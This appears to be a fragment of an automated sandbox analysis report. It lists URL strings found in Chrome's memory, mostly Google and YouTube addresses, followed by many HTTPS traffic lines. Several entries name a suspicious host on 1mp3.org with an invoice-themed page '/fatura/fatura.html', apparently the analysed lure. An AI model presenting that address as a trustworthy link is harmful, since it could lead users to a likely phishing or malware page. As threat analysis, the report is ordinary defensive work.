Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chat_load.js
Source: chrome.exe, 00000009.00000002.4158160254.00000168026BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/help_api.js
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/load.js
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/open.js
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/open_to_help_guide_lazy.js
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000009.00000002.4178422465.0000016804A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chrome-safe-browsing
Source: chrome.exe, 00000009.00000003.1897878427.00000168048D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1897821145.00000168048D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2419394437.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167527078.0000016802F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393451354.0000016802528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156276060.00000168023B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393492045.0000016803574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2392978134.000001680356C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/destination
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2419394437.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167527078.0000016802F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393451354.0000016802528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156276060.00000168023B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393492045.0000016803574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2392978134.000001680356C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000009.00000002.4168996738.000001680302A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170715538.0000016803136000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155530947.000001680234C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170846632.0000016803140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/
Source: chrome.exe, 00000009.00000002.4159704028.00000168028E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168996738.000001680302A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155985043.0000016802398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167152014.0000016802F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155530947.000001680234C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159176590.0000016802848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=0/rs=AO0039
Source: chrome.exe, 00000009.00000003.2450961755.0000016803584000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155178540.00000168022FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=1/rs=AO0039
Source: chrome.exe, 00000009.00000003.2465205463.0000016805138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-drive/_/js/k=boq-drive.DriveShareDialogUi.en_US.ptPw8_-T2xw.es5.O/
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.81r_gfkf0jY.es
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-one-google/_/
Source: chrome.exe, 00000009.00000002.4158160254.00000168026BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165745323.0000016802E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/feedback/js/ghelp/
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160227206.000001680295C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/api/main.min.js
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/chatsupport/chatsupport_button_v2.js
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/service/lazy.min.js
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/
Source: chrome.exe, 00000009.00000002.4155388979.0000016802334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2465682380.00000168035EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2465532067.00000168051E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2465205463.0000016805138000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/support/content/
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/support/content/;report-uri
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/uservoice/feedback/client/web/live/
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/uservoice/surveys/resources/prod/js/survey/
Source: chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156784830.00000168024C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000009.00000002.4172045509.0000016803248000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2669802612.000001680321C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.googleapis.com/s/player/89dfc5b3/www-widgetapi.vflset/www-widgetapi.js
Source: chrome.exe, 00000009.00000003.2396266264.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2025948151.0000016802D80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2480483985.0000016803534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2529711131.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2369071347.0000016802494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org
Source: chrome.exe, 00000009.00000002.4170846632.0000016803140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170264760.00000168030C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2480483985.0000016803534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2529711131.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2245091326.00000168033C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2369071347.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261201121.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261238103.0000016804188000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/
Source: chrome.exe, 00000009.00000003.2127902649.000002DB65CD8000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4185810868.00002E6C00234000.00000004.00001000.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4172789932.000001680340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4187752709.00004A9C00238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170595144.0000016803100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163536253.0000016802D3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2194778560.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986256597.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166474377.0000016802EF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4178957593.0000016804E68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162798477.0000016802C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1985946683.0000016803128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160355170.0000016802978000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2055944333.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4186813694.00003E5000238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1870729238.0000016802530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4180745424.000002DB65CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html
Source: chrome.exe, 00000009.00000002.4186195226.00002E6C00294000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html0
Source: chrome.exe, 00000009.00000002.4164360386.0000016802D7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160355170.0000016802978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/favicon.ico
Source: chrome.exe, 00000009.00000002.4178422465.0000016804A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170264760.00000168030C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org:443

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
